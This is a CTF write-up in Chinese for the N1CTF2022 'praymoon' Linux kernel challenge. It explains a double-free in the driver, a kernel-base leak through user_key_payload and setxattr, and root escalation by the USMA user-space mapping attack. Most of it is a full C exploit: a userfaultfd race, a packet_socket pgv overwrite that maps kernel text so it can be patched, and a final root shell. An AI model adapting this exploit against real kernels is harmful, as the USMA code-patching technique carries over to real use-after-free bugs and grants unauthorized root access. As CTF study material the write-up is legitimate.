【USMA】N1CTF2022-praymoon

前言

本题主要利用 USMA 解题，当然还有其他做法，暂时不表

程序分析

启动脚本就不看了，该开的保护都开了。看下文件系统初始化脚本：

#!/bin/sh
 
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
echo 1 > /proc/sys/vm/unprivileged_userfaultfd
 
insmod /praymoon.ko
chmod 666 /dev/seven
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms
 
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
 
umount /proc
umount /tmp
 
 
poweroff -d 0  -f

可以看到，这里设置了  echo 1 > /proc/sys/vm/unprivileged_userfaultfd，这是因为该题目的内核版本为 5.18.10，而 userfaultfd 在 5.11 就限制了普通用户的使用，这也是给了我们一个做题的方向。

题目还给了配置文件：

CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_SHUFFLE_PAGE_ALLOCATOR=y
 
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
 
CONFIG_MEMCG=y
CONFIG_MEMCG_SWAP=y
CONFIG_MEMCG_KMEM=y
 
CONFIG_DEBUG_LIST=y
 
CONFIG_HARDENED_USERCOPY=y

而驱动程序很简单，跟 d3kheap 差不多，给了一次 double free 的机会（但是由于开启了 SLAB_FREELIST_HARDENED，所以不能直接 double free），只是这里的大小是 0x200，更难利用了：

漏洞利用

首先我们得先去泄漏内核的基地址，常用的泄漏信息的结构体有 ldt_struct、msg_msg、user_key_payload，这里 ldt_struct 大小不满足，而非常可惜的是 msg_msg 是采用 GFP_KERNEL_ACCOUNT，而题目采用的是 GFP_KERNEL，并且开启了 MEMCG，所以这里堆块就是隔离的，所以 msg_msg 也就无法直接利用了。最后我们就只剩下 user_key_payload，幸运的是其分配采用的就是 GFP_KERNEL。

泄漏内核基地址

首先，构造 UAF：

1、add 分配一个堆块

2、dele 释放该堆块

3、分配 user_key_payload 占据该堆块

4、dele 再次释放该堆块

然后我们可以利用 setxattr 去修改 user_key_payload 的 datalen 字段。然后越界读一些数据，该数据中可能存在一个可用地址，笔者将其作为一个字典进行碰撞。经过测试，有较大的概率可以泄漏内核地址。

经过测试：

freelist pointer 存在堆块偏移为 33*8 的位置

并且使用 kfree 释放堆块，不会清空堆块内容

 提权

关于提权，一般而言有两者朴素的想法：

1、寻找具有函数指针的结构体，通过劫持函数指针去劫持程序执行流

2、利用任意读写原语去修改 cred

这里我们想要找到 0x200 大小的带有函数指针的结构体可不容易，当然可以大家会想到 pipe_buffer，可以 pipe_buffer 也带有 GFP_KERNEL_ACCOUNT。

这里利用 usma 即用户态映射攻击，贴了360的原文，大家可以看下：USMA:用户态映射攻击

exp 如下：

注：脚本不是很稳定，即 setxattr 可能拿不到 UAF 堆块，主要是脚本写的比较烂，但是不想改了

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
 
void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}
 
void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
 
void line(char *msg)
{
    printf("\033[34m\033[1m\n[*] %s\n\033[0m", msg);
}
 
void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
 
void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}
 
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }
 
    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
 
    system("/bin/sh");
    exit(EXIT_SUCCESS);
}
 
void bind_core(int core)
{
    cpu_set_t cpu_set;
 
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
 
    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
 
 
void register_userfaultfd(void* moniter_addr, void* handler)
{
        int uffd;
        pthread_t thr;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;
 
        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd == -1) err_exit("Failed to exec the syscall for __NR_userfaultfd");
 
        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("Failed to exec ioctl for UFFDIO_API");
 
        uffdio_register.range.start = (unsigned long long)moniter_addr;
        uffdio_register.range.len = 0x1000;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("Failed to exec ioctl for UFDDIO_REGISTER");
 
        if (pthread_create(&thr, NULL, handler, (void*)uffd)) err_exit("Failed to exec pthread_create for userfaultfd");
}
 
int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}
 
int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
 
int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
 
char uffd_copy_src[0x1000];
void* handler_30(void* args)
{
        int uffd = (int)args;
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
 
        for (;;)
        {
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for leak_handler");
 
                int res = read(uffd, &msg, sizeof(msg));
                if (res == 0) err_exit("EOF on userfaultfd for leak_handler");
                if (res == -1) err_exit("ERROR on userfaultfd for leak_handler");
                if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in leak_handler");
 
                info("==> userfaultfd to sleep(30) <==");
                sleep(30);
 
                uffdio_copy.src = uffd_copy_src;
                uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");
        }
        return NULL;
}
 
void* edit_func(void* args)
{
        setxattr("/exp", "hacker", args, 0x200, 0);
        return NULL;
}
 
int fd;
int key;
void add() { ioctl(fd, 0x5555, NULL); }
void dele() { ioctl(fd, 0x6666, NULL); }
 
size_t check(size_t kernel_addr)
{
        size_t kernel_addrs[] = {0xffffffff829da760, 0xffffffff81780ae0, 0xffffffff81780ad0, 0xffffffff8143e280, 0xffffffff829b9320};
        size_t kernel_offset = -1;
        switch ((kernel_addr&0xfff))
        {
                case 0x760:
                        kernel_offset = kernel_addr - kernel_addrs[0];
                        break;
                case 0xae0:
                        kernel_offset = kernel_addr - kernel_addrs[1];
                        break;
                case 0xad0:
                        kernel_offset = kernel_addr - kernel_addrs[2];
                        break;
                case 0x280:
                        kernel_offset = kernel_addr - kernel_addrs[3];
                        break;
                case 0x320:
                        kernel_offset = kernel_addr - kernel_addrs[4];
                        break;
                default:
                        kernel_offset = -1;
                        break;
        }
        return kernel_offset;
}
 
#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif
 
void init_namespace(void) {
    int fd;
    char buff[0x100];
 
    uid_t uid = getuid();
    gid_t gid = getgid();
 
    if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
        puts("[X] unshare(CLONE_NEWUSER | CLONE_NEWNS)");
        exit(-1);
    }
 
    if (unshare(CLONE_NEWNET)) {
        puts("[X] unshare(CLONE_NEWNET)");
        exit(-1);
    }
 
    fd = open("/proc/self/setgroups", O_WRONLY);
    snprintf(buff, sizeof(buff), "deny");
    write(fd, buff, strlen(buff));
    close(fd);
 
    fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", uid);
    write(fd, buff, strlen(buff));
    close(fd);
 
    fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", gid);
    write(fd, buff, strlen(buff));
    close(fd);
}
 
void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) {
        puts("[X] setsockopt(PACKET_VERSION)");
        exit(-1);
    }
 
    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;
 
    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) {
        puts("setsockopt(PACKET_RX_RING)");
        exit(-1);
    }
}
 
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) {
        puts("socket(AF_PACKET)");
        exit(-1);
    }
 
    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
                               sizeof_priv, timeout);
 
    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;
 
    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) {
        puts("bind(AF_PACKET)");
        exit(-1);
    }
 
    return s;
}
 
int alloc_pgv(int count, int size) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}
 
int main(int argc, char** argv, char** env)
{
        bind_core(0);
        int pipe_fd[2];
 
        pipe(pipe_fd);
        pid_t pid = fork();
        if (!pid)
        {
                init_namespace();
                size_t kernel_offset;
                char buf[0x2000];
                char des[0x100];
                size_t attr[0x200/8];
                void* uffd_buf;
                int packet_fd;
                size_t res;
                pthread_t edit_thr1, edit_thr2;
 
                fd = open("/dev/seven", O_RDWR);
                if (fd < 0) err_exit("open dev file");
 
                uffd_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
                register_userfaultfd((char*)uffd_buf+0x1000, handler_30);
                attr[0] = attr[1] = 0;
                attr[2] = 0x2000;
                memset(buf, 'B', 0x200);
 
                add();
                dele();
                key = key_alloc("hacker", buf, 0x100);
                if (key < 0) err_exit("key_alloc");
 
                dele();
                setxattr("/exp", "hacker", attr, 0x200, 0);
 
                res = key_read(key, buf, 0x2000);
                hexx("key_read bytes", res);
 
                kernel_offset = -1;
                for (int i = 0; i < 0x2000/8; i++)
                {
                        size_t tmp = *(size_t*)(buf + i*8);
                        if ((tmp > 0xffffffff00000000) && ((kernel_offset=check(tmp)) != -1) && ((kernel_offset&0xfff) == 0)) break;
                        else kernel_offset = -1;
                }
                if (kernel_offset == -1) err_exit("Leak kernel offset");
                hexx("kernel_offset", kernel_offset);
 
                line("USMA ATTACK");
                packet_fd = alloc_pgv(33, 0x1000);
 
                key_revoke(key);
 
                for (int i = 0; i < 0x150 / 8; i++)
                        *(size_t*)((char*)uffd_buf + 0x1000 - 0x150 + i*8) = 0xFFFFFFFF81086000 + kernel_offset;
                hexx("vm_insert_page addr", 0xFFFFFFFF81086000 + kernel_offset);
                pthread_create(&edit_thr1, NULL, edit_func, (char*)uffd_buf+0x1000-0x150);
                sleep(1);
                pthread_create(&edit_thr2, NULL, edit_func, (char*)uffd_buf+0x1000-0x150);
                sleep(1);
 
                char* page = (char*)mmap(NULL, 0x1000*33, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
                page[0xFFFFFFFF81086FD8 - 0xFFFFFFFF81086000] = 0xeb;
 
                info("CHILD END!");
                write(pipe_fd[1], "A", 1);
                pause();
        } else if (pid < 0) {
 
                err_exit("fork");
 
        } else {
                char buf[1];
                read(pipe_fd[0], buf, 1);
                setresuid(0, 0, 0);
                hexx("UID", getuid());
                get_root_shell();
                info("PRAENT END!");
        }
 
        return 0;
}

效果如下：